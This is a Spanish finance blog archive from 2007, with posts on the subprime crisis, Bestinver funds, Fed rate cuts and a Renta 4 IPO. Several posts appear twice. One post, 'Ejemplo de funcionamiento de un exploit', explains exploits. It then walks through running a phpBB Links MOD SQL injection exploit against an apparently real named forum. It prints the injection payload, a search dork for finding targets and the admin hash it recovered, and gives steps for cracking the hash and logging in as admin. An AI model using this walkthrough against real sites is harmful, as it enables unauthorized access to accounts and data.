Las actuales turbulencias de los mercados financieros y las bolsas de valores se adjudican a la “falta de liquidez”. ¿Qué es eso y porqué influye tanto en nuestras vidas?. Veamos.
Pepe y Maruja decidieron hace tres años irse a vivir juntos y solicitaron una préstamo (hipotecario) para la compra de su vivienda. Del banco salieron muy contentos, pues les dieron el 100% de importe requerido, 150.000 € y con TAE del 3.25%. Mientras tomaban un aperitivo para celebrar el acontecimiento, leían en el periódico que la inflación interanual era de 4.25% ¡que chollo! comentaban entre risas, la inflación me paga un 30% de la casa!. Un año después deciden comprar un segundo coche y hacer un viaje al Caribe; recientemente cambiaron el SEAT IBIZA por un BMW. Siempre estuvo ahí el “banco amigo” financiando sus necesidades y caprichos.
Pero ¿Quién es en realidad él que le presta el dinero a nuestra joven pareja?. El banco, amigo mió, es un simple intermediario; en realidad quien les presta el dinero es Dieter Helmuth, un comerciante alemán con gran capacidad de ahorro que tiene depositado su dinero en una entidad bancaría alemana. ¡Pepe y Maruja nunca llegaron a suponer que en realidad no era el “banco amigo”, sino un desconocido alemán el prestamista.
Pero Dieter lógicamente, quiere para sus ahorros de 150.000 € el mejor interés, ¡y quien no!, y en su “banco amigo” (en este caso alemán) le aconsejan colocar su patrimonio un Fondo de Inversión “que invierte en deuda diversificada con garantía hipotecaria bien calificada por Moddy´s”, que en el último ejercicio tuvo una rentabilidad del 35% anual. También le ofrecen una emisión de Obligaciones Convertibles que ha lanzado su propio banco para disponer de liquidez y emprender una campaña agresiva de crédito hipotecario a bajo costo destinado a inmigrantes (créditos de baja calidad, las hoy famosas Subprime).
Como hace pocos meses cualquier producto financiero subía sin parar y el desprecio por el riesgo era total, nadie hacia caso a la letra pequeña: “rentabilidades pasadas no suponen rentabilidades futuras” ni tampoco de las garantías de la inversión, Dieter decide “diversificar” su capital entre los dos productos, que son en realidad el mismo perro con distinto collar. La rentabilidad anualizada del capital de Dieter rondaría el 35% según su gestor financiero.
Bien, razonemos, ¿Cómo puede ser que Dieter perciba por el mismo capital que Pepe y Maruja solicitaron en préstamo 35% de rendimiento, cuando la joven pareja paga por el dinero 3,25%; eso significa que Dieter ingresa exactamente ¡el 1.000% mas! de lo que paga la pareja. Sí, no es un error, ¡es un horror!. Ningún sistema de crédito puede durar con esas premisas eternamente, si bien es cierto que durante siete años funcionó, la ingeniería fingiera tiene sus límites.
En que situación nos encontramos hoy; Pepe y Maruja ya están pagando por su crédito el 5.25%, les pesa, pero lo pueden pagar, auque tienen miedo de no poder hacerlo en el futuro y deciden reducir gastos. Dieter está acojonado, porque con la que esta cayendo le ha entrado pánico y vendió su Fondo de Inversión y liquido las Obligaciones Negociables, para lo cual el “banco amigo” le ha tendido que entregar cash que era lo que exigía Dieter.
Como Dieter hay cientos de miles y si todos corren al banco a retirar su dinero, el sistema colapsa y se cae; de momento no hay nada de eso pero …… ahí esta el N Rock, todo un banco Ingles que vio como sus clientes hacían cola en la puerta del banco, mientras la cotización de N Rock en el la bolsa de Londres bajaba un 80%.
Si ser alarmistas, la realidad es que la plaza se “ha secado” de dinero; los potenciales futuros pepes y marujas ya no se animan a ir al banco a pedir “lo suyo”, pues tienen miedo de no poder hacer frente a la hipoteca; los dieter tiene miedo y no confía en lo que su banco les ofrece, y los pepes y marujas desconfían de la bonanza económica y no gastan mas que lo justo; y como el miedo es libre ……..todos desconfían de todos.
Conclusión: al escasear el dinero por la falta de confianza de todos los operadores, el volumen del negocio financiero se reduce, y como la financiación es el combustible de toda la economía, la actividad decae, ¿Cuánto? ¿Hasta cuando? Nadie lo sabe. Cuando lo que falta es la confianza, nadie se atreve a poner un límite, aunque modestamente creo que la sangre no llegará al río.
Fuente: Articulos del conejo
3 de octubre de 2007
Cómo funcionan los bancos
Sin duda una de los mejores trozos de la pelicula Consursante de Rodrigo Cortés que ya hablé de ella en su dia, muy recomendable. En este trozo epxlica más o menos cómo funcionan los bancos.
Renta 4 aprueba su salida a Bolsa
Los accionistas de Renta 4 aprobaron la salida a Bolsa de la compañía, en la junta general extraordinaria celebrada el pasado sábado, "una vez cumplidos los requisitos y procedimientos legalmente establecidos".
En la junta extraordinaria también se acordó una ampliación de capital con exclusión del derecho preferente de suscripción, así como el desdoblamiento (split) del valor nominal de las acciones emitidas, a razón de dos nuevas por cada uno de los títulos antiguos.
La entidad, que se convierte así en la primera empresa del sector que decide cotizar, precisó que el procedimiento de salida a Bolsa, como es habitual en este tipo de operaciones, está sometido a la verificación por parte de la Comisión Nacional del Mercado de Valores (CNMV).
Renta 4 anunció a finales de agosto su intención de comenzar a cotizar "dentro del marco de su proceso de expansión", con el objetivo de "incrementar los fondos propios de la compañía para establecer las bases de una nueva etapa de crecimiento". Además, la firma precisó que la salida a Bolsa también responde a su intención de "potenciar la marca como un referente en los servicios de inversión" en España.
La firma de inversión explicó entonces que la operación contará con una oferta pública de suscripción (OPS), sin perjuicio de la posibilidad de un pequeño tramo de Oferta Pública de Venta (OPV) y reveló que la entidad coordinadora global de la operación será ING Whosale Banking.
Asimismo, indicó que la salida a Bolsa se proyectará en tres tramos, uno minorista en España, un tramo dirigido exclusivamente a inversores cualificados en España y otro a otros países de Europa.
En lo que va de año, cuatro compañías han saltado al parqué: Clínica Baviera, Realia, Solaria y Almirall, a las que se unen las 10 OPV registradas el año pasado.
250 empleados y 56 oficinas en España
Renta 4 cuenta en la actualidad con más de 250 empleados y con una amplia red de distribución especializada en servicios de inversión, constituida por 56 oficinas en toda España, orientada a ofrecer servicios de alto valor añadido de asesoramiento, intermediación y gestión de inversiones a todo tipo de ahorradores, particulares, institucionales o empresas.
La compañía gestionaba a junio de 2007 un patrimonio de 3.700 millones de euros.
Fuente: ElMundo2 de octubre de 2007
Los fondos de Bestinver bajan, como todos
Bestinver ha pasado una mala racha
Durante las últimas semanas, los fondos de Bestinver han cosechado unos resultados bastante pobres, lo que resulta preocupante para quienes justo hayan entrado en Bestinver como "escudo" frente a los vaivenes del mercado.
¿Acaso Bestinver son infalibles?
En los foros y blogs se recomienda tanto a Bestinver, que más de uno entra creyendo que es la solución perfecta, que Bestinver nunca cae y que sus fondos son absolutamente seguros; pero nada más lejos de la realidad: Los fondos de Bestinver tienen subidas y bajadas, como todos. Y tienen periodos, como el actual, donde incluso lo hacen peor que la media. Y quien no esté preparado para aceptar los vaivenes, que se coja los fondos más conservadores de Bestinver (el Bestinver renta), o que invierta en cuentas de alta remuneración y fondos de dinero.
¿La mala racha es indicio de que Bestinver ya no va bien?
Ni mucho menos, más bien es indicio de que el mercado no va bien. Bestinver lo ha venido haciendo bien desde el pinchazo de la burbuja puntocom, pero hay que recordar que cuando en plena burbuja todos los índices subían, ellos sacaron 1999 en rojo, debido a que no entraron en el juego de las puntocom; y de la misma forma, los fondos de Bestinver tampoco han aprovechado la burbuja inmobiliaria, y se han mantenido al margen de Sacyres y Astrocs durante toda la euforia, lo que le da más mérito a sus buenos resultados.
La inversión value de Bestinver también tiene sus rachas
Los mercados alternan periodos de sensatez con periodos de irracionalidad, y en los periodos de irracionalidad los inversores value como los fondos de Bestinver suelen obtener pobres resultados. Sólo el paso del tiempo acaba poniendo las cosas en su sitio, pero no sabemos si "el tiempo" son unos cuantos meses o unos cuantos años.
Y entonces, ¿que hacer con mis fondos de Bestinver ?
Cuando Bestinver empieza a ir mal es señal de que hay muchas empresas que se están alejando de su valor "justo", poniéndose muy baratas. Temporalmente, los fondos de Bestinver bajarán; pero son esos momentos los que le dan a Bestinver el potencial para batir al mercado, pues ahí aprovecha para ir de "caza de gangas" y comprar acciones a precios interesantes. Por lo tanto, cuanto peor lo estén haciendo los fondos de Bestinver, mejor momento para comprar más, tanto si hablamos de fondos de Bestinver como de nuestra propia cartera de acciones de largo plazo.
Fuente: http://www.mejores-opiniones.es/fondos-inversion/bestinver/
Durante las últimas semanas, los fondos de Bestinver han cosechado unos resultados bastante pobres, lo que resulta preocupante para quienes justo hayan entrado en Bestinver como "escudo" frente a los vaivenes del mercado.
¿Acaso Bestinver son infalibles?
En los foros y blogs se recomienda tanto a Bestinver, que más de uno entra creyendo que es la solución perfecta, que Bestinver nunca cae y que sus fondos son absolutamente seguros; pero nada más lejos de la realidad: Los fondos de Bestinver tienen subidas y bajadas, como todos. Y tienen periodos, como el actual, donde incluso lo hacen peor que la media. Y quien no esté preparado para aceptar los vaivenes, que se coja los fondos más conservadores de Bestinver (el Bestinver renta), o que invierta en cuentas de alta remuneración y fondos de dinero.
¿La mala racha es indicio de que Bestinver ya no va bien?
Ni mucho menos, más bien es indicio de que el mercado no va bien. Bestinver lo ha venido haciendo bien desde el pinchazo de la burbuja puntocom, pero hay que recordar que cuando en plena burbuja todos los índices subían, ellos sacaron 1999 en rojo, debido a que no entraron en el juego de las puntocom; y de la misma forma, los fondos de Bestinver tampoco han aprovechado la burbuja inmobiliaria, y se han mantenido al margen de Sacyres y Astrocs durante toda la euforia, lo que le da más mérito a sus buenos resultados.
La inversión value de Bestinver también tiene sus rachas
Los mercados alternan periodos de sensatez con periodos de irracionalidad, y en los periodos de irracionalidad los inversores value como los fondos de Bestinver suelen obtener pobres resultados. Sólo el paso del tiempo acaba poniendo las cosas en su sitio, pero no sabemos si "el tiempo" son unos cuantos meses o unos cuantos años.
Y entonces, ¿que hacer con mis fondos de Bestinver ?
Cuando Bestinver empieza a ir mal es señal de que hay muchas empresas que se están alejando de su valor "justo", poniéndose muy baratas. Temporalmente, los fondos de Bestinver bajarán; pero son esos momentos los que le dan a Bestinver el potencial para batir al mercado, pues ahí aprovecha para ir de "caza de gangas" y comprar acciones a precios interesantes. Por lo tanto, cuanto peor lo estén haciendo los fondos de Bestinver, mejor momento para comprar más, tanto si hablamos de fondos de Bestinver como de nuestra propia cartera de acciones de largo plazo.
Fuente: http://www.mejores-opiniones.es/fondos-inversion/bestinver/
Ejemplo de funcionamiento de un exploit
Quienes no saben lo que son los exploits les sugiero que lean detenidamente este artículo porque son justamente estas herramientas las que utilizan los crackers para infiltrarse en sistemas desprotegidos o descuidados, los cuales muchas veces permiten accesos de root o Administrador en la máquina afectada. Vamos por paso, en primer lugar ¿que es un exploit?. Son pequeños trozos de código (en cualquier lenguaje) que están escritos para aprovecharse de vulnerabilidades y/o errores específicos dentro de un sistema... para lograr acceder a él de forma ilegítima o causar otro tipo de problemas. Hay que tener en cuenta siempre que TODOS los software del mundo son desarrollados por humanos, por lo tanto es normal encontrarse con errores en los códigos. Estos errores, comúnmente llamados bugs, pueden ser del tipo desbordamiento de búfer (buffer overflow), condición de carrera (race condition), errores de validación de variables, etc, etc.
Por ejemplo si se encontró un error en un software de correo el cual al enviar un telnet al servidor y ejecutar una serie de instrucciones, satura el búfer del software de correos y provoca una denegación de servicio (DoS). Entonces un hacker escribirá un código que sirva para explotar (de ahí el nombre "exploit) esta vulnerabilidad y con un par de instrucciones más quizá sea posible abrir un acceso remoto con permisos de root en el servidor afectado.
Podríamos catalogar a los exploits en dos tipos diferentes:
1.- 0-day
2.- Públicos
Los exploits de tipo 0-day son aquellos que los hackers mantienen ocultos al mundo y los utilizan para explotar los sistemas que quieren. De alguna manera son trozos de código privados.
Por otro lado los exploits públicos son aquellos que los hackers decidieron no utilizar más en su propio beneficio y los liberan públicamente a algunos de los sitios webs más conocidos como www.milw0rm.com, www.securityfocus.com, www.packetstormsecurity.org, etc. Muchas veces pueden pasar varios meses o años entre que el exploit pase de condición 0-day a ser público. Es por esto mismo que los primeros son más peligrosos, ya que al no conocerse la vulnerabilidad y no ser pública entonces existen muchos más servidores afectados cuyos administradores ni siquiera se enteran de que pueden ser atacados. Al hacerse públicos, normalmente se entrega la solución o bien los fabricantes de software reaccionan y sacan una actualización de seguridad crítica.
Esta es la razón por la cual hay que siempre tener dos cosas presentes:
1.- El tipo de software y la versión exacta que tenemos instalado en nuestras máquinas, ya sea como cliente (ejemplo Microsoft Outlook) o servidor (Exchange, Postfix, Sendmail, etc)
2.- Nunca dejar de revisar los sitios de exploits mencionados anteriormente. Increíblemente hay gente que se dedica a estar atentos a estos exploits para inmediatamente cuando se publica comenzar a atacar sitios webs. Estos son los llamados script-kiddies. Pero por más despectivo que parezca el nombre, son igualmente peligrosos.
Debido a eso es que en la columna izquierda de este sitio web aparecen las últimas vulnerabilidades y exploits encontrados que han sido publicadas.
Ejemplo de un exploit:
Hace un par de días (31 de Agosto) atrás salió en www.milw0rm.com el siguiente exploit:
phpBB Links MOD 1.2.2 Remote SQL Injection Exploit
El texto es bastante claro. El módulo "Links" del sistema de foros llamado phpBB en su versión 1.2.2 es vulnerable a inyección SQL remota. Estos significa que mediante la URL es posible interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener la password de Administrador y poder loguearse como tal.
Para ver el exploit haga click aquí.
Este exploit no es muy largo (ya dijimos que son pequeños trozos de código escritos para una vulnerabilidad específica) y está escrito en lenguaje PERL. Por lo tanto para ejecutarlo habrá que tener PERL instalado en nuestras máquinas. Los sistemas Linux/UNIX vienen con PERL.
Lo que se hace es copiar el código y guardarlo en un archivo con extensión .pl (de PERL).
h4x0r@tarro:~/Desktop/exploit$ ls -lh
total 4,0K
-rw-r--r-- 1 h4x0r h4x0r 1,5K 2007-09-03 11:53 phpBB2.pl
h4x0r@tarro:~/Desktop/exploit$
y simplemente ejecutarlo. En este caso nos irá pidiendo los datos del sitio web que queremos atacar. Pondré en rojo esto para diferenciarlo.
h4x0r@tarro:~/Desktop/exploit$ perl phpBB2.pl
phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit
Bug discovered by Don
Dork: allinurl:links.php?t=search
or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=
asd&start=1,1%20UNION%20SELECT%201,
username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20
phpbb_users%20WHERE%20user_id=2/*
=> Insert URL
=> without ( http )
=>
www.motoqueros.cl
=> Insert directory
=> es: /forum/ - /phpBB2/
=>
/foros/
=> User ID
=> Number:
=>
1
Exploit in process...
Exploit
in process...
Exploit finished!
MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b
Y eso sería todo. El exploit fue capaz de conectarse a la base de datos y recuperar el password cifrado del usuario con ID 1 (admin en este caso). Esta cadena de 32 caracteres corresponde a un hash en md5. De mucho no nos sirve tener la clave cifrada, pero podemos recuperarla atacándola con fuerza bruta (o diccionario) en los siguientes sitios web:
http://md5.xpzone.de/
http://gdataonline.com/seekhash.php
Ponemos el hash y comprobamos la la clave de admin es 12345. Ahora podemos loguearnos en http://www.sitioweb.com/foros/ usando estos datos.
Existen exploits mucho más elaborados y poderosos, pero esto fue un ejemplo para mostrar cuan simple puede ser recuperar una contraseña o acceder ilegítimamente a un servidor cuando se le aplican los exploits correctos.
Por ejemplo si se encontró un error en un software de correo el cual al enviar un telnet al servidor y ejecutar una serie de instrucciones, satura el búfer del software de correos y provoca una denegación de servicio (DoS). Entonces un hacker escribirá un código que sirva para explotar (de ahí el nombre "exploit) esta vulnerabilidad y con un par de instrucciones más quizá sea posible abrir un acceso remoto con permisos de root en el servidor afectado.
Podríamos catalogar a los exploits en dos tipos diferentes:
1.- 0-day
2.- Públicos
Los exploits de tipo 0-day son aquellos que los hackers mantienen ocultos al mundo y los utilizan para explotar los sistemas que quieren. De alguna manera son trozos de código privados.
Por otro lado los exploits públicos son aquellos que los hackers decidieron no utilizar más en su propio beneficio y los liberan públicamente a algunos de los sitios webs más conocidos como www.milw0rm.com, www.securityfocus.com, www.packetstormsecurity.org, etc. Muchas veces pueden pasar varios meses o años entre que el exploit pase de condición 0-day a ser público. Es por esto mismo que los primeros son más peligrosos, ya que al no conocerse la vulnerabilidad y no ser pública entonces existen muchos más servidores afectados cuyos administradores ni siquiera se enteran de que pueden ser atacados. Al hacerse públicos, normalmente se entrega la solución o bien los fabricantes de software reaccionan y sacan una actualización de seguridad crítica.
Esta es la razón por la cual hay que siempre tener dos cosas presentes:
1.- El tipo de software y la versión exacta que tenemos instalado en nuestras máquinas, ya sea como cliente (ejemplo Microsoft Outlook) o servidor (Exchange, Postfix, Sendmail, etc)
2.- Nunca dejar de revisar los sitios de exploits mencionados anteriormente. Increíblemente hay gente que se dedica a estar atentos a estos exploits para inmediatamente cuando se publica comenzar a atacar sitios webs. Estos son los llamados script-kiddies. Pero por más despectivo que parezca el nombre, son igualmente peligrosos.
Debido a eso es que en la columna izquierda de este sitio web aparecen las últimas vulnerabilidades y exploits encontrados que han sido publicadas.
Ejemplo de un exploit:
Hace un par de días (31 de Agosto) atrás salió en www.milw0rm.com el siguiente exploit:
phpBB Links MOD 1.2.2 Remote SQL Injection Exploit
El texto es bastante claro. El módulo "Links" del sistema de foros llamado phpBB en su versión 1.2.2 es vulnerable a inyección SQL remota. Estos significa que mediante la URL es posible interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener la password de Administrador y poder loguearse como tal.
Para ver el exploit haga click aquí.
Este exploit no es muy largo (ya dijimos que son pequeños trozos de código escritos para una vulnerabilidad específica) y está escrito en lenguaje PERL. Por lo tanto para ejecutarlo habrá que tener PERL instalado en nuestras máquinas. Los sistemas Linux/UNIX vienen con PERL.
Lo que se hace es copiar el código y guardarlo en un archivo con extensión .pl (de PERL).
h4x0r@tarro:~/Desktop/exploit$ ls -lh
total 4,0K
-rw-r--r-- 1 h4x0r h4x0r 1,5K 2007-09-03 11:53 phpBB2.pl
h4x0r@tarro:~/Desktop/exploit$
y simplemente ejecutarlo. En este caso nos irá pidiendo los datos del sitio web que queremos atacar. Pondré en rojo esto para diferenciarlo.
h4x0r@tarro:~/Desktop/exploit$ perl phpBB2.pl
phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit
Bug discovered by Don
Dork: allinurl:links.php?t=search
or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=
asd&start=1,1%20UNION%20SELECT%201,
username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20
phpbb_users%20WHERE%20user_id=2/*
=> Insert URL
=> without ( http )
=>
www.motoqueros.cl
=> Insert directory
=> es: /forum/ - /phpBB2/
=>
/foros/
=> User ID
=> Number:
=>
1
Exploit in process...
Exploit
in process...
Exploit finished!
MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b
Y eso sería todo. El exploit fue capaz de conectarse a la base de datos y recuperar el password cifrado del usuario con ID 1 (admin en este caso). Esta cadena de 32 caracteres corresponde a un hash en md5. De mucho no nos sirve tener la clave cifrada, pero podemos recuperarla atacándola con fuerza bruta (o diccionario) en los siguientes sitios web:
http://md5.xpzone.de/
http://gdataonline.com/seekhash.php
Ponemos el hash y comprobamos la la clave de admin es 12345. Ahora podemos loguearnos en http://www.sitioweb.com/foros/ usando estos datos.
Existen exploits mucho más elaborados y poderosos, pero esto fue un ejemplo para mostrar cuan simple puede ser recuperar una contraseña o acceder ilegítimamente a un servidor cuando se le aplican los exploits correctos.
1 de octubre de 2007
Las familias destinan casi el 50 por ciento de su renta a financiar la compra de una vivienda
La deuda hipotecaria de las familias registró hasta julio una nueva cifra récord, al llegar a los 624.797 millones de euros, pero su ritmo de crecimiento en este periodo, del 17 por ciento, siguió la senda de desaceleración iniciada a lo largo de 2006. Por otro lado, el esfuerzo salarial alcanza ya el 45 por ciento. Las familias españolas destinaron en el segundo trimestre del año el 44,8 por ciento de su renta bruta disponible a financiar la compra de vivienda, casi dos puntos más que al cierre de 2006 y la cifra más alta de la serie histórica.
Más: LibertadDigital
Más: LibertadDigital
28 de septiembre de 2007
Interesantes tertulias y debates en Libertad Digital
Vía Libertad Digital llego a tres videos dedicados a materia económica.
Lo cierto es que no he tenido tiempo para verlos, aprovecharé el fin de semana, pero atendiendo a la calidad que les suele caracterizar seguro que merecen la pena.
Este fin de semana, cuando los vea, realizaré alguna anotación.
Atendiendo a los titulos de los mismos, me ha llamado la atención el titulado: "La crisis hipotecaria"
Son TRES VIDEOS:
VIDEO 1: La crisis hipotecaria
Javier Somalo nos adentra en una cuestión de vital importancia, que cada vez preocupa más a los españoles. España, caracterizada por la cultura de la vivienda en propiedad y no en alquiler, atraviesa uno de los momentos más delicados de los últimos años con una paulatina subida de los tipos de interés –el tan temido euríbor-, y el excesivo endeudamiento familiar.
En este debate se atiende a esta realidad y dedica su programa de esta semana a analizar esta cuestión desde un punto de vista más práctico que teórico, pensando en el espectador. Para ello, cuentan con la presencia y opinión de Gregorio Mayayo, presidente de la Asociación Hipotecaria Española; Alberto Recarte, presidente de Libertad Digital; el secretario general de la Asociación de Promotores y Constructores de España, Manuel Martín Ferrer; y el redactor jefe de Expansión, Carlos Cuesta…
VIDEO 2: Tertulia Económica: 27/09/07
Actualidad económica con Carmen Tomás y Alberto Recarte, presidente de Libertad Digital…
VIDEO 3: Economía para todos: 27/09/07
Presentado por Carmen Tomás.
Lo cierto es que no he tenido tiempo para verlos, aprovecharé el fin de semana, pero atendiendo a la calidad que les suele caracterizar seguro que merecen la pena.
Este fin de semana, cuando los vea, realizaré alguna anotación.
Atendiendo a los titulos de los mismos, me ha llamado la atención el titulado: "La crisis hipotecaria"
Son TRES VIDEOS:
VIDEO 1: La crisis hipotecaria
Javier Somalo nos adentra en una cuestión de vital importancia, que cada vez preocupa más a los españoles. España, caracterizada por la cultura de la vivienda en propiedad y no en alquiler, atraviesa uno de los momentos más delicados de los últimos años con una paulatina subida de los tipos de interés –el tan temido euríbor-, y el excesivo endeudamiento familiar.
En este debate se atiende a esta realidad y dedica su programa de esta semana a analizar esta cuestión desde un punto de vista más práctico que teórico, pensando en el espectador. Para ello, cuentan con la presencia y opinión de Gregorio Mayayo, presidente de la Asociación Hipotecaria Española; Alberto Recarte, presidente de Libertad Digital; el secretario general de la Asociación de Promotores y Constructores de España, Manuel Martín Ferrer; y el redactor jefe de Expansión, Carlos Cuesta…
VIDEO 2: Tertulia Económica: 27/09/07
Actualidad económica con Carmen Tomás y Alberto Recarte, presidente de Libertad Digital…
VIDEO 3: Economía para todos: 27/09/07
Presentado por Carmen Tomás.
24 de septiembre de 2007
Análisis semanal de los mercados
Alan Greenspan dijo que el sector inmobiliario va a caer aún bastante más, ya que hay una enorme tensión en el mercado inmobiliario y los precios van a caer mucho más.
Prevé que el problema de la crisis crediticia dure hasta el año 2008.
La economía americana sigue estable aunque el desempleo es alto, pero la inflación subyacente está contenida. El sector inmobiliario continúa débil.
En la semana, la FED inyectó 29.000 millones de dólares en tres operaciones vía acuerdos de recompra y 9750 millones de dolares en repos a 1 día
Un posible impedimento para que la FED siga bajando los tipos en USA en las dos reuniones que aún le queda en este año 2007 son los precios del sector inmobiliario, ya que si éstos continúan bajando no es seguro que la FED pueda seguir recortando los tipos.
De todas formas, como siempre, la principal preocupación de la FED es contener los precios y así controlar la inflación, incluida la subyacente.
El instituto RWI alemán recorta sus previsiones para el PIB 2008 a un 2,3% frente a la estimación anterior del 2,6%.
Para el 2007 espera un crecimiento del PIB del 2,5%y una inflación en el 1,9%, y en un 2% para el 2008.
Prevé que el problema de la crisis crediticia dure hasta el año 2008.
La economía americana sigue estable aunque el desempleo es alto, pero la inflación subyacente está contenida. El sector inmobiliario continúa débil.
En la semana, la FED inyectó 29.000 millones de dólares en tres operaciones vía acuerdos de recompra y 9750 millones de dolares en repos a 1 día
Un posible impedimento para que la FED siga bajando los tipos en USA en las dos reuniones que aún le queda en este año 2007 son los precios del sector inmobiliario, ya que si éstos continúan bajando no es seguro que la FED pueda seguir recortando los tipos.
De todas formas, como siempre, la principal preocupación de la FED es contener los precios y así controlar la inflación, incluida la subyacente.
El instituto RWI alemán recorta sus previsiones para el PIB 2008 a un 2,3% frente a la estimación anterior del 2,6%.
Para el 2007 espera un crecimiento del PIB del 2,5%y una inflación en el 1,9%, y en un 2% para el 2008.
19 de septiembre de 2007
Plan de fomento del alquiler
A tener de lo hecho publico por Zapatero y la ministra de vivienda Carmen Chacón, el 1 de enero de 2008 todas las personas sin límite de edad que ganen menos de 24.000 euros netos al año tendrán derecho a una reducción fiscal del 15% sobre un máximo de 9.010 euros.
Además de esto, los jóvenes con empleo e ingresos brutos menores de 22.000 euros anuales y con edades comprendidas entre los 22 y los 30 años o parados con una prestación de desempleo que pretendan alquilar su primera vivienda, recibirán una aportación mensual de 210 euros durante un máximo de 48 meses, así como recibir un préstamo para la fianza de 600 euros y un aval de seis meses.
Estas medidas irán acompañadas de otras dentro del plan de fomento del alquiler para aumentar la oferta de alquileres, pretenden incrementar el suelo público y proporcionar ventajas fiscales y financieras a los promotores. Estas medidas cuentan con la aprobación de Pedro Solbes, que está a favor porque están dirigidas a un sector de la población en concreto y facilitan la emancipación de los jóvenes.
Más información en La Verdad
18 de septiembre de 2007
La Reserva Federal de EEUU baja los tipos al 4,75% para defender a la economía de la crisis hipotecaria
El 'fantasma' de la desaceleración económica, alentado por la crisis de las hipotecas de alto riesgo y las derivadas turbulencias bursátiles y financieras, ha llevado a la Reserva Federal (Fed) a modificar su política de tipos de interés a corto plazo. Tal y como esperaban los mercados, el banco central estadounidense ha acometido una rebaja, aunque ésta ha sido de medio punto porcentual, hasta el 4,75%, en lugar de en un cuarto de punto como estaba previsto.
La Fed rompe así con 13 meses de estabilidad en los tipos federales de interés, desde que abandonó su política monetaria acomodaticia en junio de 2006, cuando aplicó un aumento del 0,25% para dejarlos en el 5,25% actual.
Hasta junio del pasado ejercicio, la Reserva Federal había aplicado 17 aumentos consecutivos del precio del dinero en un periodo de dos años, con el objetivo de controlar las crecientes presiones inflacionistas a través de la moderación en el crecimiento económico.
Se trata de la primera rebaja de los tipos de interés federales desde junio de 2003.
La incertidumbre provocada por la crisis hipotecaria 'subprime' en la primera economía del mundo también condicionó la última decisión del Banco Central Europeo (BCE) sobre tipos de interés.
La entidad que coordina a los 13 países que comparten el euro decidió mantener en septiembre el precio del dinero debido a las turbulencias por la crisis financiera, pese a que un mes antes había sugerido con claridad que acometería una nueva subida de un cuarto de punto porcentual.
La Fed rompe así con 13 meses de estabilidad en los tipos federales de interés, desde que abandonó su política monetaria acomodaticia en junio de 2006, cuando aplicó un aumento del 0,25% para dejarlos en el 5,25% actual.
Hasta junio del pasado ejercicio, la Reserva Federal había aplicado 17 aumentos consecutivos del precio del dinero en un periodo de dos años, con el objetivo de controlar las crecientes presiones inflacionistas a través de la moderación en el crecimiento económico.
Se trata de la primera rebaja de los tipos de interés federales desde junio de 2003.
La incertidumbre provocada por la crisis hipotecaria 'subprime' en la primera economía del mundo también condicionó la última decisión del Banco Central Europeo (BCE) sobre tipos de interés.
La entidad que coordina a los 13 países que comparten el euro decidió mantener en septiembre el precio del dinero debido a las turbulencias por la crisis financiera, pese a que un mes antes había sugerido con claridad que acometería una nueva subida de un cuarto de punto porcentual.
17 de septiembre de 2007
Visión de los mercados de Renta Variable
Esta semana el comportamiento de las bolsas de valores estará condicionado por completo a la decisión que adopte la Reserva Federal de los EEUU (Fed) MAÑANA cuando se reúna su Comité de Mercado Abierto (FOMC). A estas alturas los inversores dan por hecho que la Fed reducirá sus tipos de interés; es más, se podría afirmar que los mercados de valores ya descuentan una reducción de un cuarto de punto, aunque algunos analistas hablan ya de hasta medio punto (la fuerte devaluación del dólar frente a las principales divisas es un síntoma de que los mercados apuestan por esta decisi ón de la Fed). Esta sería la primera bajada de tipos en EEUU después de 17 incrementos consecutivos que llevaron los mismos desde el 1% en junio del 2004 hasta el 5,25% actual en junio de 2006.
Los motivos de esta esperada actuación por parte de la Fed es la posibilidad, que cada vez cuenta con más adeptos, de que la crisis en el sector residencial estadounidense, que ha provocado la consiguiente crisis de contracción del crédito a nivel mundial, puedan llevar a la economía de EEUU a entrar en recesión en los próximos 12 meses –una encuesta realizada entre economistas por la web del Wall Street Journal (wsj.com) indica que el 36% de estos profesionales apuestan ahora por la recesión; igualmente, y en una encuesta de similares características realizada por la agencia Reuters, el 30% de los economistas cree que es muy factible que EEUU entre en recesi ón-. Es por ello que la Fed intentaría reactivar la economía de EEUU mediante la reducción del coste del crédito, intentando luchar así contra la contracción del mismo en estos momentos, contracción que afecta desde a las entidades financieras, que se muestran remisas a prestarse en el interbancario, a las empresas y a los particulares, cuyo acceso al endeudamiento se ha encarecido mucho, además de ser ahora las condiciones generales de acceso mucho más duras. Todo ello, sin duda, se debe ver reflejado a medio plazo en el crecimiento económico de los principales países occidentales.
No obstante, lo que no tenemos tan claro es que los mercados vayan a celebrar este movimiento con fuertes alzas. Si bien es cierto que el hecho de que la Fed comience a bajar tipos supone que el banco central de EEUU ha tomado cartas en el asunto, no es tan evidente que una reducción de los tipos de interés vaya a poder frenar en seco la crisis del sector residencial estadounidense. A ello hay que unir el hecho del que el precio del crudo sigue escalando posiciones –ya hay analistas que lo ven por encima de los $ 100 el barril-, lo que resta mucha capacidad de gasto a los particulares. Es decir, una baja de tipos ahora ayudaría, pero no será la “panacea” que esperan algunos. Entendemos que los mercados lo comprenderán así y que, tras una reacción alcista inicial, volverá la indefinición y la falta de tendencia a los mismos. Además, y tras los serios problemas de liquidez que hizo públicos la semana pasada el banco Northern Rock –el octavo banco del Reino Unido; cuarto por volumen de hipotecas- el riesgo de que ahora sea un banco de mayor tamaño el que se declare falto de liquidez es una posibilidad que no debemos desdeñar. Un anuncio así entendemos que sería muy negativo para la marcha de los mercados financieros, independientemente de las actuaciones de los bancos centrales. Por tanto, no seríamos partidarios de “lanzar las campanas al vuelo” si la Fed baja sus tipos de interés, algo que damos por hecho, ni siquiera si la reducción es de medio punto.
Aprovecharíamos, sin embargo, el posible rebote de las bolsas para seguir reduciendo posiciones.
Fuente: Link Securities
11 de septiembre de 2007
Cálculo del interés compuesto
Es muy fácil: se trata simplemente de ganar intereses sobre los intereses:
